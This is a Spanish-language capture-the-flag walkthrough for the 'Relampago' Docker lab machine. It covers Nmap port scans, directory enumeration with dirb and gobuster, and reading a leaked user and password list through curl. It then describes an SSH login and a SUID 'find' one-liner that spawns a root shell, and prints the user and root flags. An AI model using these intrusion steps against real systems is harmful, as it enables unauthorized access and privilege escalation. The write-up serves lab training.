

El Dia de hoy les compartiré la resolución de la maquina Relampago de **CyberConquer**

Link para descargar la Maquina https://drive.google.com/file/d/1baKOCOwzHC2ZFwDZikoxHvGjstxxkZF/view?usp=sharing

Una vez descargada la maquina ingresamos al directorio donde esta descargada la descomprimimos y ejecutamos el siguiente comando ash script.sh relampago_imagen.tar El cual nos permite realizar el levantamiento de la maquina la cual está en Docker.



Una vez hemos levantado la máquina, ten presente que no puedes cerrar la ventana pues esto haría que se cerrera la máquina, además no sale un promt esperando que digitemos la bandera, que encontraremos en la máquina.

Iniciamos con la fase de reconocimiento donde recopilamos informacion lo cual lo haremos desde Nmap, para saber que puertos están abiertos.

Esto implica usar un escaneo lento, evitar ping (host discovery), y técnicas como TCP SYN (-sS) que son menos ruidosas. (claro está que en entornos controlados lo hacemos mas rápido, pues no importa si se levanta mucho ruido)

```
i)-[/home/cyberdark/dockerlabs/injection]
   nmap -sS -Pn -p- --open -T5 --min-rate 1000 --max-retries
0 --min-parallelism 100 -v -oN scan_results.txt 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-20 21:08
Initiating ARP Ping Scan at 21:08
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 21:08, 0.05s elapsed (1 total host
Initiating SYN Stealth Scan at 21:08
Scanning xXFBAQuXC3XAG (172.17.0.2) [65535 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 21:08, 0.39s elapsed (65535 tot
al ports)
Nmap scan report for xXFBAQuXC3XAG (172.17.0.2)
Host is up (0.0000020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
          Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2
.621MB)
```

- -T5: Eleva el perfil de velocidad al máximo. Ideal para laboratorios y redes controladas, pero úsalo con precaución en entornos de producción, ya que puede generar mucho tráfico.
- --max-retries 0: Reduce los intentos de reenvío a cero para acelerar aún más el escaneo.
- --min-rate 1000: Incrementa la tasa mínima de paquetes por segundo, haciendo el escaneo mucho más rápido.

```
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Dado que solo los puertos 22 (SSH) y 80 (HTTP) están abiertos, centrémonos en ellos:

Ya que sabemos que puertos están abiertos es hora de ponernos a la tarea de ver como ingresar por esos puertos.

Ejecutamos un Nmap sobre ese puerto para ver que más información podemos recolectar.

nmap 172.17.0.2 -p22,80 -sCV -A -T5 -oN log_relampago_scan.txt

```
)-[/home/cyberdark/dockerlabs/injection]
   nmap 172.17.0.2 -p22,80 -sCV -A -T5 -oN log_relampago_sca
n.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-20 21:36 -
05
Nmap scan report for xXFBAQuXC3XAG (172.17.0.2)
Host is up (0.000064s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh
                   OpenSSH 9.2p1 Debian 2+deb12u5 (protocol
 2.0)
| ssh-hostkey:
   256 4f:e5:f6:81:4d:fa:71:db:c4:cf:5d:e0:ac:10:1d:ad (ECDS
A)
|_ 2
519)
  256 57:9d:ea:26:ff:fa:db:38:1d:17:a2:d6:ae:13:8f:51 (ED25
80/tcp open http
                    nginx 1.22.1
|_http-title: Bienvenido al CTF
|_http-server-header: nginx/1.22.1
MAC Address: 02:42:AC:11:00:02 (Unknown)
Warning: OSScan results may be unreliable because we could no
t find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT
            ADDRESS
    0.06 ms xXFBAQuXC3XAG (172.17.0.2)
OS and Service detection performed. Please report any incorre
ct results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.74 seconds
```

Enumeramos con dirb http://172.17.0.2

```
i)-[/home/cyberdark/dockerlabs/injection]
   dirb http://172.17.0.2
DIRB v2.22
By The Dark Raver
START TIME: Sun Apr 20 21:42:16 2025
URL_BASE: http://172.17.0.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
GENERATED WORDS: 4612
   — Scanning URL: http://172.17.0.2/ —
⇒ DIRECTORY: http://172.17.0.2/database/
+ http://172.17.0.2/index.html (CODE:200|SIZE:1201)
  --- Entering directory: http://172.17.0.2/database/
+ http://172.17.0.2/database/comments (CODE:200|SIZE:1338296)
+ http://172.17.0.2/database/logs (CODE:200|SIZE:2424685)
+ http://172.17.0.2/database/products (CODE:200|SIZE:710650)
+ http://172.17.0.2/database/transactions (CODE:200|SIZE:3089267)
+ http://172.17.0.2/database/users (CODE:200|SIZE:1013)
```

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

```
)-[/home/cyberdark/dockerlabs/injection]
    gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
                               http://172.17.0.2
[+] Url:
[+] Method:
                               GET
[+] Threads:
                               10
[+] Wordlist:
                               /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobu
                              gobuster/3.6
[+] Extensions:
                               php,html,txt
[+] Timeout:
                              10s
Starting gobuster in directory enumeration mode
/database
                       (Status: 301) [Size: 169] [→ http://172.17.0.2/database/]
/index.html (Status: 200) [Size: 1201]
/index.html (Status: 200) [Size: 1201]
Progress: 18456 / 18460 (99.98%)
Finished
```

Como podemos observar el directorio database es accesible, además encontramos varios archivos, el users es el que más llama la atención vamos hacerle un curl http://172.17.0.2/database/users

```
)-[/home/cyberdark]
     curl http://172.17.0.2/database
<head><title>301 Moved Permanently</title></head>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.22.1
</body>
</html>
             curl http://172.17.0.2/database/users
          "id": 1,
"nombre": "Grace",
"email": "user1@outlook.com",
"email": "outsAVORULity"
          "password": "ONI8AVORUity",
"fecha_registro": "2023-04-05"
          "id": 2,
"nombre": "David",
"email": "user2@gmail.com",
          "password": "ODiqN0CKimPA",
"fecha_registro": "2020-09-29"
          "id": 3,
"nombre": "Frank",
"email": "user5@outlook.com",
          "password": "Yf1m9MI3gmJT",
"fecha_registro": "2024-06-28"
          "id": 4,
"nombre": "Angela",
"email": "user6@yahoo.com",
          "password": "T6f56dzQWi9C",
"fecha_registro": "2021-01-07"
          "id": 8,
"nombre": "Eve",
"email": "user8@yahoo.com",
           "password": "xf2tumczbAfF",
```

Y logramos conseguir usuarios con sus contraseñas, ahora vamos a ir a ssh y ver cual nos permite el ingreso.

Después de probar con varios usuarios el único que permitió acceso fue Frank.

Hacemos un ls -a para ver que directorios o archivos encontramos y vemos un user.txt el cual al hacerle un cat, encontramos un md5 , el cual con una herramienta de decodificar md5

```
Frank@a9f8edd1fcf5:~

Archivo Acciones Editar Vista Ayuda

Frank@a9f8edd1fcf5:~$ ls -a
. . . .bash_history .bash_logout .bashrc .local .profile user.txt

Frank@a9f8edd1fcf5:~$ cat user.txt

d5f2ldc8036be01b09da01a75d8e4636

Frank@a9f8edd1fcf5:~$ 

Absolution of the company of
```

Hemos encontrado una flag, la escribimos en la maquina y correcto tenemos la primera flag de usuario.

```
Ingresa la bandera de usuario: ∉ ¡Flag correcta! Buen trabajo.
```

Ahora vamos por la flag de root.

Ahora buscamos entre los binarios que podemos ejecutar como root

Y vamos a aprovechar de find

/usr/bin/find . -exec /bin/bash -p \; -quit

```
$ /usr/bin/find . -exec /bin/bash -p \; -quit
bash-5.2# ls -a
. .. README alternatives.log apt btmp dpkg.log exim4 faillog journal lastlog nginx private runit wtmp
bash-5.2# whoami
root
bash-5.2#
```

Ahora que tenemos privilegios de root, vamos a buscar la flag, vamos a buscar un archivo root.txt que es lo más común en estos tipos de retos ctf.

find / -name "root.txt" 2>/dev/null

encontramos el archive en /root/root.txt, ahora hagamos un cat para visualizarlo.

```
bash-5.2# find / -name "root.txt" 2>/dev/null /root/root.txt bash-5.2# cat /root/root.txt f1486a23a498bff99b63206901edee1d bash-5.2#
```

Y hemos encontrado

Recuerden, "Quien estudia, se arma con el poder de cambiar su destino."

Happy Hacking!!!

https://github.com/Cyberdark-Security/